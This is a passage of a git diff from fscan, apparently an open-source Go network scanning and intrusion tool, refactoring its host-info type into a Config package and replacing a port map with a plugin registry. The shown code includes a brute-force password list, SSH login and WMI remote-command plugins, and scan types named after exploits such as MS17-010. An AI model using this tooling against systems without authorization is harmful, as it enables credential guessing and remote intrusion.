+func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if common.SshKey != "" { diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 49f2c48..d04bc84 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -4,6 +4,7 @@ import ( "compress/gzip" "crypto/tls" "fmt" + "github.com/shadow1ng/fscan/Config" "io" "net/http" "net/url" @@ -18,7 +19,7 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) -func WebTitle(info *common.HostInfo) error { +func WebTitle(info *Config.HostInfo) error { if common.Scantype == "webpoc" { WebScan.WebScan(info) return nil @@ -39,7 +40,7 @@ func WebTitle(info *common.HostInfo) error { } return err } -func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { if info.Url == "" { switch info.Ports { case "80": @@ -93,7 +94,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData return } -func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { //flag 1 first try //flag 2 /favicon.ico //flag 3 302 diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go index 81421b0..bd230e2 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/wmiexec.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "os" "strings" @@ -26,7 +27,7 @@ func init() { flag = true } -func WmiExec(info *common.HostInfo) (tmperr error) { +func WmiExec(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return nil } @@ -70,7 +71,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) { return tmperr } -func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { +func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(common.Timeout) return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 44e88f2..a2e3ca3 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,6 +3,7 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" "net/http" @@ -17,7 +18,7 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc -func WebScan(info *common.HostInfo) { +func WebScan(info *Config.HostInfo) { once.Do(initpoc) var pocinfo = common.Pocinfo buf := strings.Split(info.Url, "/") diff --git a/common/Parse.go b/common/Parse.go index e264869..6151691 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -5,13 +5,14 @@ import ( "encoding/hex" "flag" "fmt" + "github.com/shadow1ng/fscan/Config" "net/url" "os" "strconv" "strings" ) -func Parse(Info *HostInfo) { +func Parse(Info *Config.HostInfo) { ParseUser() ParsePass(Info) ParseInput(Info) @@ -44,7 +45,7 @@ func ParseUser() { } } -func ParsePass(Info *HostInfo) { +func ParsePass(Info *Config.HostInfo) { var PwdList []string if Password != "" { passs := strings.Split(Password, ",") @@ -140,7 +141,7 @@ func Readfile(filename string) ([]string, error) { return content, nil } -func ParseInput(Info *HostInfo) { +func ParseInput(Info *Config.HostInfo) { if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { fmt.Println("Host is none") flag.Usage() @@ -235,49 +236,74 @@ func ParseInput(Info *HostInfo) { Hashs = []string{} } -func ParseScantype(Info *HostInfo) { - if _, validType := PORTList[Scantype]; !validType { - showmode() - return +// ParseScantype 解析扫描类型并设置对应的端口 +func ParseScantype(Info *Config.HostInfo) error { + // 先处理特殊扫描类型 + specialTypes := map[string]string{ + "hostname": "135,137,139,445", + "webonly": Webport, + "webpoc": Webport, + "web": Webport, + "portscan": DefaultPorts + "," + Webport, + "main": DefaultPorts, + "all": DefaultPorts + "," + Webport, + "icmp": "", // ICMP不需要端口 } - if Scantype != "all" && Ports == DefaultPorts+","+Webport { - switch Scantype { - case "hostname": - Ports = "135,137,139,445" - case "web", "webonly", "webpoc": - Ports = Webport - case "portscan": - Ports = DefaultPorts + "," + Webport - case "main": - Ports = DefaultPorts - default: - if port := PORTList[Scantype]; port > 0 { - Ports = strconv.Itoa(port) - } + // 如果是特殊扫描类型 + if customPorts, isSpecial := specialTypes[Scantype]; isSpecial { + if Scantype != "all" && Ports == DefaultPorts+","+Webport { + Ports = customPorts } - - fmt.Printf("[*] Scan type: %s, target ports: %s\n", Scantype, Ports) + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports) + return nil } + + // 检查是否是注册的插件类型 + plugin, validType := Config.PluginManager[Scantype] + if !validType { + showmode() + return fmt.Errorf("无效的扫描类型: %s", Scantype) + } + + // 如果是插件扫描且使用默认端口配置 + if Ports == DefaultPorts+","+Webport { + if plugin.Port > 0 { + Ports = strconv.Itoa(plugin.Port) + } + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports) + } + + return nil } -//func CheckErr(text string, err error, flag bool) { -// if err != nil { -// fmt.Println("Parse", text, "error: ", err.Error()) -// if flag { -// if err != ParseIPErr { -// fmt.Println(ParseIPErr) -// } -// os.Exit(0) -// } -// } -//} - +// showmode 显示所有支持的扫描类型 func showmode() { - fmt.Println("The specified scan type does not exist") - fmt.Println("-m") - for name := range PORTList { - fmt.Println(" [" + name + "]") + fmt.Println("[!] 指定的扫描类型不存在") + fmt.Println("[*] 支持的扫描类型:") + + // 显示常规服务扫描类型 + fmt.Println("\n[+] 常规服务扫描:") + for name, plugin := range Config.PluginManager { + if plugin.Port > 0 && plugin.Port < 1000000 { + fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) + } } + + // 显示特殊漏洞扫描类型 + fmt.Println("\n[+] 特殊漏洞扫描:") + for name, plugin := range Config.PluginManager { + if plugin.Port >= 1000000 || plugin.Port == 0 { + fmt.Printf(" - %-10s\n", name) + } + } + + // 显示其他扫描类型 + fmt.Println("\n[+] 其他扫描类型:") + specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} + for _, name := range specialTypes { + fmt.Printf(" - %s\n", name) + } + os.Exit(0) } diff --git a/common/config.go b/common/config.go index 8b67a19..4bc2e69 100644 --- a/common/config.go +++ b/common/config.go @@ -14,44 +14,6 @@ var Userdict = map[string][]string{ } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} -var PORTList = map[string]int{ - // 常规服务端口 - "ftp": 21, - "ssh": 22, - "findnet": 135, - "netbios": 139, - "smb": 445, - "mssql": 1433, - "oracle": 1521, - "mysql": 3306, - "rdp": 3389, - "psql": 5432, - "redis": 6379, - "fcgi": 9000, - "mem": 11211, - "mgo": 27017, - - // 特定端口的扫描类型 - "wmiexec": 135, - "wmiinfo": 135, - "smbinfo": 445, - "smb2": 445, - "ms17010": 445, - "cve20200796": 445, - - // Web相关 - "web": 0, // 使用Webport - "webonly": 0, // 使用Webport - "webpoc": 0, // 使用Webport - - // 特殊扫描类型 - "hostname": 0, // 使用135,137,139,445 - "all": 0, // 全部扫描 - "portscan": 0, // 使用DefaultPorts + Webport - "icmp": 0, // ICMP检测 - "main": 0, // 使用DefaultPorts - "localinfo": 0, // 本地信息收集 -} var PortGroup = map[string]string{ "ftp": "21", @@ -81,13 +43,6 @@ var IsSave = true var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" -type HostInfo struct { - Host string - Ports string - Url string - Infostr []string -} - type PocInfo struct { Target string PocName string diff --git a/common/flag.go b/common/flag.go index 571f8d4..972903d 100644 --- a/common/flag.go +++ b/common/flag.go @@ -2,6 +2,7 @@ package common import ( "flag" + "github.com/shadow1ng/fscan/Config" ) func Banner() { @@ -16,7 +17,7 @@ func Banner() { print(banner) } -func Flag(Info *HostInfo) { +func Flag(Info *Config.HostInfo) { Banner() flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") diff --git a/main.go b/main.go index 64b229d..680866d 100644 --- a/main.go +++ b/main.go @@ -2,6 +2,7 @@ package main import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/common" "time" @@ -9,7 +10,7 @@ import ( func main() { start := time.Now() - var Info common.HostInfo + var Info Config.HostInfo common.Flag(&Info) common.Parse(&Info) Plugins.Scan(Info)